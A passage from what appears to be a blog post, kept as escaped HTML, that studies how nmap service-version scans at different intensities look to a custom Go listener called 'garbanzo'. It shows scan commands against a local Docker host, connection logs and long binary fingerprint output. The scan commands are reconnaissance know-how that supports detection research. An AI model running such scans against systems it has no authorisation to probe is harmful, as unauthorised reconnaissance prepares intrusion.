SF:2&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;de~&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ca&amp;amp;&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a93&lt;/span&gt;&lt;span class="se"&gt;\t\x&lt;/span&gt;&lt;span class="s2"&gt;9b&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b2&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a9&lt;/span&gt;&lt;span class="se"&gt;\]&lt;/span&gt;&lt;span class="s2"&gt;wH&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9c&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;07:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;99&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;88oW&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;be&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b9P&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;92O
SF:&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;93-&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="nb"&gt;fc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;14&lt;span class="se"&gt;\x&lt;/span&gt;19&lt;span class="se"&gt;\x&lt;/span&gt;02&lt;span class="se"&gt;\x&lt;/span&gt;18x&lt;span class="se"&gt;\x&lt;/span&gt;d9I&lt;span class="se"&gt;\x&lt;/span&gt;1d&lt;span class="se"&gt;\x&lt;/span&gt;fb&lt;span class="se"&gt;\x&lt;/span&gt;bbp&lt;span class="se"&gt;\x&lt;/span&gt;d5d&lt;span class="se"&gt;\x&lt;/span&gt;0e4&lt;span class="se"&gt;\x&lt;/span&gt;c86&lt;span class="se"&gt;\x&lt;/span&gt;ab&lt;span class="se"&gt;\x&lt;/span&gt;d1&lt;span class="se"&gt;\x&lt;/span&gt;0
SF:e&lt;span class="se"&gt;\x&lt;/span&gt;8b&amp;amp;&lt;span class="se"&gt;\x&lt;/span&gt;d1&lt;span class="se"&gt;\x&lt;/span&gt;fa&lt;span class="se"&gt;\x&lt;/span&gt;baX&lt;span class="se"&gt;\x&lt;/span&gt;c1&lt;span class="se"&gt;\x&lt;/span&gt;91&lt;span class="se"&gt;\x&lt;/span&gt;20&lt;span class="se"&gt;\x&lt;/span&gt;cb&lt;span class="se"&gt;\x&lt;/span&gt;0f8&lt;span class="se"&gt;\x&lt;/span&gt;c4Q&lt;span class="se"&gt;\x&lt;/span&gt;89&lt;span class="se"&gt;\x&lt;/span&gt;f2!&lt;span class="se"&gt;\x&lt;/span&gt;e8V&lt;span class="se"&gt;\|&lt;/span&gt;wj&lt;span class="se"&gt;\x&lt;/span&gt;eb&lt;span class="se"&gt;\x&lt;/span&gt;c3
SF:zk#&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;01A{&lt;/span&gt;&lt;span class="se"&gt;\?\x&lt;/span&gt;&lt;span class="s2"&gt;d7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;89&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;15&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;07&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8d&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b2o&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;eb&lt;/span&gt;&lt;span class="se"&gt;\(\x&lt;/span&gt;&lt;span class="s2"&gt;13G&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b7#&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;95&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;15~&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9d&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
SF:x8d&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;cf&lt;/span&gt;&lt;span class="se"&gt;\]\x&lt;/span&gt;&lt;span class="s2"&gt;bc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bbg&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1c&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;eeC&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;11Y&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;01&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ef&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a0&amp;gt;:&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;d9&lt;span class="se"&gt;\0\x&lt;/span&gt;85&lt;span class="se"&gt;\x&lt;/span&gt;
SF:c5Zv&lt;span class="se"&gt;\x&lt;/span&gt;c8Qa&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;93&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0b&lt;/span&gt;&lt;span class="se"&gt;\\\x&lt;/span&gt;&lt;span class="s2"&gt;e7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;14rD&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;87&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;92{~&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;fd&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a5&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;06Z&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
SF:xe1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c4wi&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e3:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9ep&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ea&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;05&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c6p&lt;/span&gt;&lt;span class="se"&gt;\[\x&lt;/span&gt;&lt;span class="s2"&gt;7f,&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8e&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ed&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f5&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a
SF:6x&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a80&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;058U&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bd{&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c3&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9dk&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;04&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c61&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;db&amp;gt;r&lt;/span&gt;&lt;span class="se"&gt;\\\x&lt;/span&gt;&lt;span class="s2"&gt;80&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e8K&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a6l&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
SF:x9a}&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d2F&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1a&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;de&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;faZ&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;aa&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;91&lt;/span&gt;&lt;span class="se"&gt;\|\x&lt;/span&gt;&lt;span class="s2"&gt;1b&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1b&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8d!&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;fe&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;125&lt;/span&gt;&lt;span class="se"&gt;\0\]\x&lt;/span&gt;&lt;span class="s2"&gt;b2&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;de&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;88G
SF:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bf&lt;/span&gt;&lt;span class="se"&gt;\"\x&lt;/span&gt;&lt;span class="s2"&gt;c1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;a&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;02&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;eb&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d4V&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;L:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;87&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;cb&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bf&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;fb&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;fc&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
SF:xc6c&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e4Nz&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0eb&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;94&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d5&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8b&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;12&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9d&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;10&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;94k9@y&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;82&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8a&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;02&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;be&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;03
SF:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f5hs@q&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d9n&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b3&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b0&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;15~&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b3&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0b&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a5&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;dfGU@&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;deJ&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;80&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;94p&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e2
SF:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;08&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e6!&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;cd&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;df&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c0s&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e4&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ff"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
MAC Address: 02:42:AC:11:00:02 &lt;span class="o"&gt;(&lt;/span&gt;Unknown&lt;span class="o"&gt;)&lt;/span&gt;

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;87.86 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above output shows us that NMAP was able to detect that port 80 was indeed open but could not verify the service and version, which makes sense and we'll dig into why a bit later in this post.&lt;/p&gt;

&lt;h3&gt;
  
  
  NMAP Service and Version Detection and Scan Intensity
&lt;/h3&gt;

&lt;p&gt;NMAP has useful functionality to adjust how "intensely" it scans the target according to its documentation[2]. If we look at the flag "--version-intensity" which we haven't used directly yet, we can see in the docs[2] that the flag "-sV" sets "--version-intensity" to 7 by default. Lets now go ahead and change ""--version-intensity" and observe how NMAP behaves:&lt;/p&gt;

&lt;p&gt;First setup our tool&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@78b5ecfeb870:/work# &lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;80
root@78b5ecfeb870:/work# &lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;nmap
root@78b5ecfeb870:/work# go build &lt;span class="nt"&gt;-o&lt;/span&gt; garbanzo &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./garbanzo 
2020/06/10 12:02:40 &lt;span class="nv"&gt;$GARBANZO_WEB&lt;/span&gt; must be &lt;span class="nb"&gt;set
&lt;/span&gt;2020/06/10 12:02:40 &lt;span class="nv"&gt;$GARBANZO_HOST&lt;/span&gt; must be &lt;span class="nb"&gt;set
&lt;/span&gt;2020/06/10 12:02:40 &lt;span class="o"&gt;[&lt;/span&gt;+] Initialised Listener on Port: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Execute NMAP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@f5f84eb31bc0:/go# nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 172.17.0.2 &lt;span class="nt"&gt;-p&lt;/span&gt; 80 &lt;span class="nt"&gt;--version-intensity&lt;/span&gt; 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Below we get the following tool output from the NMAP command above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;e76bfa77f3047f2162bf0ca697d24cd38be99ecf96960ca5f324c33801babcd3] Port:80 Connection:1 from:172.17.0.3:51270
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] &lt;span class="o"&gt;[&lt;/span&gt;e76bfa77f3047f2162bf0ca697d24cd38be99ecf96960ca5f324c33801babcd3] &lt;span class="nb"&gt;read &lt;/span&gt;tcp4 172.17.0.2:80-&amp;gt;172.17.0.3:51270: &lt;span class="nb"&gt;read&lt;/span&gt;: connection reset by peer
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;ca32700fb09ad58490ab340fd19d5bfd17a77f5a4b39357341e93ec0ee868721] Port:80 Connection:2 from:172.17.0.3:51272
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;6b991cc7ea35a78d63af16555c5b404b78a74c62eede3acaed6f5cda6a650e66] Port:80 Connection:3 from:172.17.0.3:51274
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;343b98c09fefc41ecb2e0eb48c918ed8f5b1d0af02dc05b781abb5a4d57e7e7a] Port:80 Connection:4 from:172.17.0.3:51276
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;61c11e4bfa44083c4ac764fbbe1546e4a70d38434b4d39fd287cbc26bd1631dd] Port:80 Connection:5 from:172.17.0.3:51278
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;0958fca1885269f9797a039aedcbccc67d5153f71f5396ffee23dc707d714a8c] Port:80 Connection:6 from:172.17.0.3:51280
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;322a686505032b68a7903a68b98ec502f87710d7ed60cd71bc5d6708fe214af0] Port:80 Connection:7 from:172.17.0.3:51282
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;610f9f80d0b616267fb567fbe5b437653fd3d3ac3d524ca92baac642d599e102] Port:80 Connection:8 from:172.17.0.3:51284
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;12f40d18ad44fee3eef5371c571883efcac00b7576dcee35ebb8fd12af37571f] Port:80 Connection:9 from:172.17.0.3:51286
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above output from the tool shows us that NMAP continues the behaviour of checking if port 80 is open by connecting and resetting. We can also see that 9 connections were made but no "nmap" terms were identified. If we run the NMAP command several times with "--version-intensity" set to "1", we will see the above pattern repeated, first a connection and reset which is then followed by 8 probes.&lt;/p&gt;

&lt;p&gt;Below is the associate NMAP output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@f5f84eb31bc0:/go# nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 172.17.0.2 &lt;span class="nt"&gt;-p&lt;/span&gt; 80 &lt;span class="nt"&gt;--version-intensity&lt;/span&gt; 1
Starting Nmap 7.70 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-002-02 UTC
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;172.17.0.2
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.000083s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

PORT   STATE SERVICE VERSION
80/tcp open  http?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V&lt;span class="o"&gt;=&lt;/span&gt;7.70%I&lt;span class="o"&gt;=&lt;/span&gt;1%D&lt;span class="o"&gt;=&lt;/span&gt;6/11%Time&lt;span class="o"&gt;=&lt;/span&gt;5EE23E9F%P&lt;span class="o"&gt;=&lt;/span&gt;x86_64-pc-linux-gnu%r&lt;span class="o"&gt;(&lt;/span&gt;GetR
SF:equest,270,&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b5rHF&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;de&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;15Y&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8e&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9a&lt;/span&gt;&lt;span class="se"&gt;\0\x&lt;/span&gt;&lt;span class="s2"&gt;e64
SF:xrB&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b4&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;9a&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;cd#S:W&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;01&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;K&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8e&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1ft&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;95&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;90&lt;/span&gt;&lt;span class="se"&gt;\n\x&lt;/span&gt;&lt;span class="s2"&gt;af&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;af&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;004k&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c1&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;99
SF:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;88s&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ef&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8e&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;13&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;03&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f1Gp-&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;99&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e4&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span 